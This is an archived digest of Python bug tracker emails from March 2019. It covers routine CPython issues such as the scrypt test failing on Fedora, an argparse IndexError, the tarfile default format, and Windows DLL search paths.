Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552321759.27.0.174966917328.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Oh, the Fedora package of OpenSSL 1.1.1b includes this downstream patch:

https://src.fedoraproject.org/rpms/openssl/blob/master/f/openssl-1.1.1-evp-kdf.patch

Extract of the changelog:

* Thu Feb 28 2019 Tom?? Mr?z <tmraz at redhat.com> 1.1.1b-1
- update to the 1.1.1b release
- EVP_KDF API backport from master
- SSH KDF implementation for EVP_KDF API backport from master

The patch changes the behavior for (salt=NULL, saltlen=0). Previously, it was handled as (salt="", saltlen=0), but now the function fails with "missing salt".

The patch has code to handle (pass=NULL, passlen=any value) as (pass="", passlen=0):

https://src.fedoraproject.org/rpms/openssl/blob/master/f/openssl-1.1.1-evp-kdf.patch#_705

+    /* Maintain existing behaviour. */
+    if (pass == NULL) {
+        pass = empty;
+        passlen = 0;
     }

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:36:22 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 11 Mar 2019 16:36:22 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1552306366.68.0.634542532234.issue36018@roundup.psfhosted.org>
Message-ID: <20190311163616.GO12502@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> I'm assuming you meant 5.374 rather than 5.372 in the first Nspire result.

Yes, that was a typo, sorry.

Thanks for checking into the results.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:38:11 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Mon, 11 Mar 2019 16:38:11 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552322291.26.0.172427470973.issue36264@roundup.psfhosted.org>


Change by Anthony Sottile <asottile at umich.edu>:


----------
keywords: +patch
pull_requests: +12262
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Mon Mar 11 13:07:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 17:07:03 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1552324023.98.0.269169379886.issue36184@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I am running FreeBSD 12. I don't recall the minor version (12.1 maybe?).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar 11 13:17:51 2019
From: report at bugs.python.org (Jakub Wilk)
Date: Mon, 11 Mar 2019 17:17:51 +0000
Subject: [issue36265] Remove ABCs from collections
Message-ID: <1552324671.45.0.197539126339.issue36265@roundup.psfhosted.org>


New submission from Jakub Wilk <jwilk at jwilk.net>:

This happens with Python from git master (d9bd8ec2a4):

    >>> from collections import Hashable
    <stdin>:1: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working

I was already already using Python 3.8, so I expected the import to fail,
as promised in the warning message.

----------
components: Library (Lib)
messages: 337688
nosy: jwilk
priority: normal
severity: normal
status: open
title: Remove ABCs from collections
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36265>
_______________________________________

From report at bugs.python.org  Mon Mar 11 13:26:37 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 17:26:37 +0000
Subject: [issue36265] Remove ABCs from collections
In-Reply-To: <1552324671.45.0.197539126339.issue36265@roundup.psfhosted.org>
Message-ID: <1552325197.3.0.19320202552.issue36265@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Please see https://github.com/python/cpython/pull/10596 . pip is incompatible with this change.

----------
nosy: +serhiy.storchaka, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36265>
_______________________________________

From report at bugs.python.org  Mon Mar 11 14:41:38 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 11 Mar 2019 18:41:38 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552329698.48.0.503260517451.issue36262@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

> ... in practice, it seems like Python became the "upstream".

Yes; unfortunately, we changed things enough that updating from upstream became impractical. At some point we should take a look at changes made to the upstream dtoa.c since our adoption of it, and figure out whether any of those changes need to be applied to our copy. That's not going to be an easy task. It would be easier if there were upstream testcases (and regression tests in particular), but as far as I'm aware there aren't any.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 14:51:12 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Mon, 11 Mar 2019 18:51:12 +0000
Subject: [issue36240] Definitions of time
In-Reply-To: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>
Message-ID: <1552330272.92.0.0357194808934.issue36240@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

I also think it would be ideal to avoid getting into too much detail about the definitions of UTC and GMT in a general sense. Instead, we should probably refer to some better source on the matter and maybe focus on how UTC and GMT are used *in this document*?

For example, the `gmtime` function is explicitly defined in terms of UTC in the documentation, and just has a possibly slightly inaccurate name. Perhaps a wording like "Occasionally the abbreviations 'GMT' and 'UTC' are used interchangeably, despite the fact that this is somewhat inaccurate. For more information about the difference between UTC and GMT, see <external source>."

As something of an aside, the same bullet point says this:

> The acronym UTC is not a mistake but a compromise between English and French.

This came up recently on the tz mailing list, where it was claimed that there is no contemporary evidence to support this: https://mm.icann.org/pipermail/tz/2019-March/027736.html

It may be worth removing this sentence or rewording it to be more neutral, like "The acronym UTC is not a mistake but conforms to an earlier, language-agnostic naming scheme for time standards: UT0, UT1, etc." I can move the discussion of the "UTC acronym" wording into a separate ticket if it's distracting from this one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Mon Mar 11 15:06:49 2019
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 11 Mar 2019 19:06:49 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552331209.89.0.157414668964.issue36256@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I would be curious to hear what Pablo has to say with the new parser having landed and if there's something we should be exposing from that code to replace what's in 'parser' today? (Either w/o semantic change or a new API.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Mon Mar 11 15:36:17 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 11 Mar 2019 19:36:17 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552332977.83.0.32150825067.issue36256@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

> I would be curious to hear what Pablo has to say with the new parser having landed and if there's something we should be exposing from that code to replace what's in 'parser' today? (Either w/o semantic change or a new API.)

:)

One small clarification is that the parser is the same, what has changed is the parser generator. What is exposed in the parser modules today is the parse trees (in a very raw form). 

One thing we can do is expose the parser component that lib2to3/pgen2 has as a substitute/complement to the parser module (which is not exposed as part of the new pgen - I know, is confusing). This is very useful and complementary to the AST (for example, black is using a forked version of this component to obtain the CST as it can do round tripping - code->CST->NEW_CST->code). This piece is in pure Python and can read the parser tables that pgen generates. It also will have the advantage of forcing us to synchronize to the current grammar (black had to fork it among other things because the one in lib2to3 was out of date). This idea and all the challenges are already been discussed here:

https://bugs.python.org/issue33337

The major problem with the parser module is that is unsynchronized with the actual parser, it has a very raw API and is moderately unmaintained (as this bug reveals). We would need to evaluate if we want to spend effort into synchronizing them, deprecating completely the parser module, substitute it with a new python version or wait until we have a completely new non-LL(1) C parser to ask these questions.

What do you think?

As a side note, the problem described in this bug was more or less foreseen. This is in the header of Modules/parsemodule.c:

*  To debug parser errors like
*      "parser.ParserError: Expected node type 12, got 333."
*  decode symbol numbers using the automatically-generated files
*  Lib/symbol.h and Include/token.h.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Mon Mar 11 16:06:35 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 11 Mar 2019 20:06:35 +0000
Subject: [issue26826] Expose new copy_file_range() syscall in os module.
In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za>
Message-ID: <1552334795.76.0.587847099009.issue26826@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

Little update about this. According to:
http://man7.org/linux/man-pages/man2/copy_file_range.2.html
...it seems glibc 2.27 released on 2018-02-01 includes copy_file_range(). I'm not the best candidate for giving advice on C syscalls definitions/availability, but FWIW this works on my Linux 4.15:

#if defined(__linux__) && \
    defined(SYS_copy_file_range) && \
    defined(__GLIBC_PREREQ) && \
    __GLIBC_PREREQ(2, 27)
...
#endif

I think (but not sure) this is supposed to fix this condition, which appears to be the major blocker here:
https://github.com/python/cpython/blob/9a177061cd7190eabf40efd31e8981e0bccd5dc4/Lib/test/test_os.py#L258-L261

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26826>
_______________________________________

From report at bugs.python.org  Mon Mar 11 16:19:42 2019
From: report at bugs.python.org (A. Skrobov)
Date: Mon, 11 Mar 2019 20:19:42 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552335582.58.0.448521455887.issue36256@roundup.psfhosted.org>


A. Skrobov <tyomitch at gmail.com> added the comment:

> The major problem with the parser module is that is unsynchronized with the actual parser

The parser module is "sort of" synchronised with the actual parser, in that it uses the same _PyParser_Grammar; this doesn't mean they always behave the same, as this bug shows :-)

(But before #26526, it used to be much worse, with the parser module having a completely independent re-implementation of the parser.)

> As a side note, the problem described in this bug was more or less foreseen. This is in the header of Modules/parsemodule.c:

Just to clarify, the bug is not about the cryptic exception message, it's about the exception firing when it shouldn't.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Mon Mar 11 16:23:51 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 11 Mar 2019 20:23:51 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552335831.55.0.643815462883.issue36256@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:41:29 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:41:29 +0000
Subject: [issue34711] Lib/http/server.py: Return HTTPStatus.NOT_FOUND if
 path.endswith(/) and not a directory
In-Reply-To: <1552293766.28.0.628889927508.issue34711@roundup.psfhosted.org>
Message-ID: <64a01e46-8b65-68c3-4a7b-2821621384e8@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 11/03/2019 09:42, St?phane Wirtel wrote:
> St?phane Wirtel <stephane at wirtel.be> added the comment:
>
> Hi Michael,
>
> I think no, because 3.6 is in security mode.
Clear reason. Maybe makes the baclport to 3.7 more opportune. Thx for
the reply!
>
> ----------
> nosy: +matrixise
> versions:  -Python 3.6
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue34711>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34711>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:42:53 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:42:53 +0000
Subject: [issue34373] test_time errors on AIX
In-Reply-To: <1552243436.9.0.360948090109.issue34373@roundup.psfhosted.org>
Message-ID: <1c5e1e78-60ac-e694-3179-a98c8412a1d3@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:43, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> Could this alos be backported to Version 3.7 and 3.6 - thx!
As 3.6 is in security mode - I guess only 3.7 then.
> ----------
> versions: +Python 3.6, Python 3.7
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue34373>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34373>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:43:32 2019
From: report at bugs.python.org (Phillip M. Feldman)
Date: Mon, 11 Mar 2019 21:43:32 +0000
Subject: [issue36266] Which module could not be found?
Message-ID: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>


New submission from Phillip M. Feldman <Phillip.M.Feldman at gmail.com>:

I have a module that contains an import statement that imports a large number of items.  This import was failing with the following error message:

ImportError: DLL load failed: The specified module could not be found.

The message would be so much more helpful if it named the offending DLL and module.

----------
components: Interpreter Core
messages: 337698
nosy: Phillip.M.Feldman at gmail.com
priority: normal
severity: normal
status: open
title: Which module could not be found?
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:43:33 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:43:33 +0000
Subject: [issue11192] test_socket error on AIX
In-Reply-To: <1552243256.89.0.657617598521.issue11192@roundup.psfhosted.org>
Message-ID: <2eb93358-3bb1-6c34-5d90-c39b81ffe594@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:40, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> Could this also be backported to Version 3.7 and 3.6 (I do not expect it to be backported to 2.7, but I had mistakenly removed it 2.7 when I changed it to 3.8 - and should have added 3.6 and 3.7 then).
Likewise: As 3.6 is in security mode - I guess only 3.7 then.
>
> ----------
> versions: +Python 2.7, Python 3.6, Python 3.7
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue11192>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11192>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:44:20 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:44:20 +0000
Subject: [issue34490] transport.get_extra_info('sockname') of test_asyncio
 fails on AIX
In-Reply-To: <1552243026.41.0.995618640019.issue34490@roundup.psfhosted.org>
Message-ID: <416b712a-6780-918c-371f-d61e513e18b3@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:37, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> Could this also be backported to Version 3.6?
Ignore this since 3.6 is in security mode.
>
> ----------
> versions: +Python 3.6
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue34490>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34490>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:44:55 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:44:55 +0000
Subject: [issue35633] test_eintr fails on AIX since fcntl functions were
 modified
In-Reply-To: <1552242852.37.0.50795460532.issue35633@roundup.psfhosted.org>
Message-ID: <cb679bbb-535d-dd45-7a2b-05b24088c827@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:34, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> Could this also be backported to version 3.6?
>
> ----------
> versions: +Python 3.6
Not to worry: As 3.6 is in security mode.
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue35633>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35633>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:45:32 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:45:32 +0000
Subject: [issue34720] Fix test_importlib.test_bad_traverse for AIX
In-Reply-To: <1552242694.97.0.904488479835.issue34720@roundup.psfhosted.org>
Message-ID: <f04df542-d7d7-902c-a3d0-3cb84eb1c2be@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:31, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> could this be backported to versions 3.7, and if applicable, to version 3.6
Only 3.7 - As 3.6 is in security mode.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue34720>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34720>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:46:02 2019
From: report at bugs.python.org (Michael Felt)
Date: Mon, 11 Mar 2019 21:46:02 +0000
Subject: [issue35704] On AIX,
 test_unpack_archive_xztar fails with default MAXDATA settings
In-Reply-To: <1552242348.79.0.61270808507.issue35704@roundup.psfhosted.org>
Message-ID: <da2458de-e0f8-5689-586a-0bf1784227dd@felt.demon.nl>


Michael Felt <aixtools at felt.demon.nl> added the comment:

On 10/03/2019 19:25, Michael Felt wrote:
> Michael Felt <aixtools at felt.demon.nl> added the comment:
>
> Could this also be backported to 3.7 and 3.6 please?
Only 3.7 I guess - As 3.6 is in security mode.
>
> ----------
> versions: +Python 3.6, Python 3.7
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue35704>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35704>
_______________________________________

From report at bugs.python.org  Mon Mar 11 18:23:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 11 Mar 2019 22:23:12 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552342992.22.0.210092483932.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> A missed print statement in the 2.7 patch is causing the tests to fail.

How does that cause tests to fail? Is it going to stderr? Or just causing an error.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Mon Mar 11 18:29:49 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 11 Mar 2019 22:29:49 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552343389.19.0.976746416342.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

In the absence of any other comments, here's my proposal.

* call SetDefaultDllDirectories() in Py_Main (i.e. not when embedded) to ensure secure search paths are always used
* ensure LoadLibrary when used in ctypes or importing will use the correct flags
* add sys._adddlldirectory() and sys._removedlldirectory() as CPython-specific functions for extending the search path (for use by packages currently modifying PATH at runtime)
* add check for KB2533623 to the installer and block if it is not present

Any thoughts? The only one I'm not 100% committed to is the SetDefaultDllDirectories call, but I'd rather ship it in alpha/beta releases and pull it out later if necessary. Passing the flags to LoadLibrary should have the same effect anyway, so I don't think changing the defaults in python.exe will make the current scenarios worse.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Mon Mar 11 18:49:42 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 11 Mar 2019 22:49:42 +0000
Subject: [issue32951] Prohibit direct instantiation of SSLSocket and SSLObject
In-Reply-To: <1519579084.45.0.467229070634.issue32951@psf.upfronthosting.co.za>
Message-ID: <1552344582.2.0.922715076962.issue32951@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Can this issue be closed as resolved?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32951>
_______________________________________

From report at bugs.python.org  Mon Mar 11 18:50:37 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 11 Mar 2019 22:50:37 +0000
Subject: [issue28124] Rework SSL module documentation
In-Reply-To: <1473762840.76.0.666078412099.issue28124@psf.upfronthosting.co.za>
Message-ID: <1552344637.99.0.547727541762.issue28124@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Can this issue be closed as resolved?  It looks like the changes have been merged even though the first PR still has an 'open' status.  Thanks!

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28124>
_______________________________________

From report at bugs.python.org  Mon Mar 11 18:54:54 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 11 Mar 2019 22:54:54 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552344894.76.0.141900598237.issue21314@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

There are a few other open issues about positional-only keywords (for example, #10789 and #8350).  I wasn't sure what, if anything, could be done with those now that the '/' is available and documented.

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Mon Mar 11 19:20:59 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Mon, 11 Mar 2019 23:20:59 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552346459.56.0.55577306579.issue36229@roundup.psfhosted.org>


Change by Brandt Bucher <brandtbucher at gmail.com>:


----------
title: Linear-time ops for some mutable collections. -> Linear-time list, set, and bytearray ops.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Mon Mar 11 21:36:10 2019
From: report at bugs.python.org (paul j3)
Date: Tue, 12 Mar 2019 01:36:10 +0000
Subject: [issue36267] User input to argparse raises Index_Error: "-a=" on a
 'store_true' action
Message-ID: <1552354570.63.0.477016922618.issue36267@roundup.psfhosted.org>


New submission from paul j3 <ajipanca at gmail.com>:

Test case:

    parser = argparse.ArgumentParser()
    parser.add_argument("-a", action="store_true")
    args = parser.parse_args("-a=".split())

raises an Index_Error, which is not caught by the argparse error mechanism.

This is an unusual case, the coincidence of several user errors - 'store_true' which shouldn't take an argument and a short optional with a bare =.  So it's unlikely to occur.  Still, argparse shouldn't ever respond to a command line value with an uncaught error.

The traceback shows that it occurs during the handling of the explicit_arg in consume_optional.

Traceback (most recent call last):
  File "argparseRaiseIndexError.py", line 5, in <module>
    args = parser.parse_args("-a=".split())
  File "/usr/lib/python3.6/argparse.py", line 1743, in parse_args
    args, argv = self.parse_known_args(args, namespace)
  File "/usr/lib/python3.6/argparse.py", line 1775, in parse_known_args
    namespace, args = self._parse_known_args(args, namespace)
  File "/usr/lib/python3.6/argparse.py", line 1981, in _parse_known_args
    start_index = consume_optional(start_index)
  File "/usr/lib/python3.6/argparse.py", line 1881, in consume_optional
    option_string = char + explicit_arg[0]
IndexError: string index out of range

The issue was raised in a Stackoverflow question, where I and the poster explore why it occurs, and possible fixes.

https://stackoverflow.com/questions/54662609/python-argparse-indexerror-for-passing-a

----------
components: Library (Lib)
messages: 337709
nosy: paul.j3
priority: normal
severity: normal
stage: needs patch
status: open
title: User input to argparse raises Index_Error:  "-a=" on a 'store_true' action
type: crash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36267>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:14:28 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Tue, 12 Mar 2019 02:14:28 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
Message-ID: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

I propose changing tarfile.DEFAULT_FORMAT to be tarfile.PAX_FORMAT , rather than the legacy tarfile.GNU_FORMAT for Python 3.8. This would offer several benefits:

? Removes limitations of the old GNU tar format, including in max UID/GID values and bits in device major and minor numbers, and is the most flexible and feature-rich tar format currently
? Encodes all filenames as UTF-8 in a portable way, ensuring consistent and correct handling on all platforms, avoid errors like [this one](https://stackoverflow.com/questions/19902544/tarfile-produce-garbled-file-name-in-the-tar-gz-archivement) and generally ensure expected, sensible defaults
? Is the current interoperable POSIX standard, used by all modern platforms (Linux, Unix, macOS, and third-party unarchivers on Windows) rather than a vendor-specific extension like GNU tar
? Backwards compatible with any unarchiver capable of reading ustar format, unlike GNU tar as the extended pax headers will just be ignored
? Fixes bpo-30661, support tarfile.PAX_FORMAT in shutil.make_archive (was proposed as a fix to the same, but it was never followed up on and the issue remains open)

This change would have no effect on reading existing archives, only writing new ones, and should be broadly compatible with any remotely modern system, as pax support is included in all the widely used libraries/systems:

* POSIX 2001 (major Unix vendors), released in 2001 (18 years ago)
* GNU tar 1.14 (Linux, etc), released in 2004 (15 years ago)
* bsdtar/libtar ~1.2.51 (BSD, macOS, etc), at least as of 2006 (13 years ago), with significant bug fixes up through 2011 (8 years ago)
* 7-zip (Windows) at some point before 2011 (>8 years ago), with significant bug fixes up to 2011 (8 years ago)
* Python 2.6, released in 2008 (11 years ago)

Furthermore, essentially every existing archiver supports ustar format, which would allow interoperability on very old/exotic platforms that don't support pax for some reason (and would certainly not support GNU). Therefore, it should be more than safe to make the change now, with archivers on the three major platforms supporting the modern standard for nearly a decade, and any esoteric ones at least as likely to support the POSIX standard as the vendor-specific GNU extension.

Is there any particular reason why we shouldn't make this change? Is there a particular group/list I should contact to follow up about seeing this implemented? It seems it should only require a one-line change [here](https://stackoverflow.com/questions/19902544/tarfile-produce-garbled-file-name-in-the-tar-gz-archivement), aside from updating the docs and presumably the NEWS file, which I would be willing to do (I would think it should make a fairly straightforward first contribution).

----------
components: Library (Lib)
messages: 337710
nosy: CAM-Gerlach
priority: normal
severity: normal
status: open
title: Change default tar format to modern POSIX 2001 (pax) for better portability/interop, support and standards conformance
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:20:00 2019
From: report at bugs.python.org (Jeremy Kloth)
Date: Tue, 12 Mar 2019 02:20:00 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1552342992.22.0.210092483932.issue36216@roundup.psfhosted.org>
Message-ID: <CAGvrs3+-Xf1zcuLWvt00UfANcftXq1t=0LvZ0ajaLG3devMs1w@mail.gmail.com>


Jeremy Kloth <jeremy.kloth at gmail.com> added the comment:

>
> How does that cause tests to fail? Is it going to stderr? Or just causing
> an error.
>

It is causing an "unexpected output error".  When the test is re-run at the
end, it is run in verbose mode so the extra output is ignored and thus
passes at that point.

>

----------
nosy: +jeremy.kloth

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:39:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 02:39:16 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552358356.66.0.675178519728.issue36268@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +lars.gustaebel

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:41:42 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 12 Mar 2019 02:41:42 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552358502.17.0.769564456863.issue36229@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:49:00 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 02:49:00 +0000
Subject: [issue36267] User input to argparse raises Index_Error: "-a=" on a
 'store_true' action
In-Reply-To: <1552354570.63.0.477016922618.issue36267@roundup.psfhosted.org>
Message-ID: <1552358940.61.0.327811989412.issue36267@roundup.psfhosted.org>


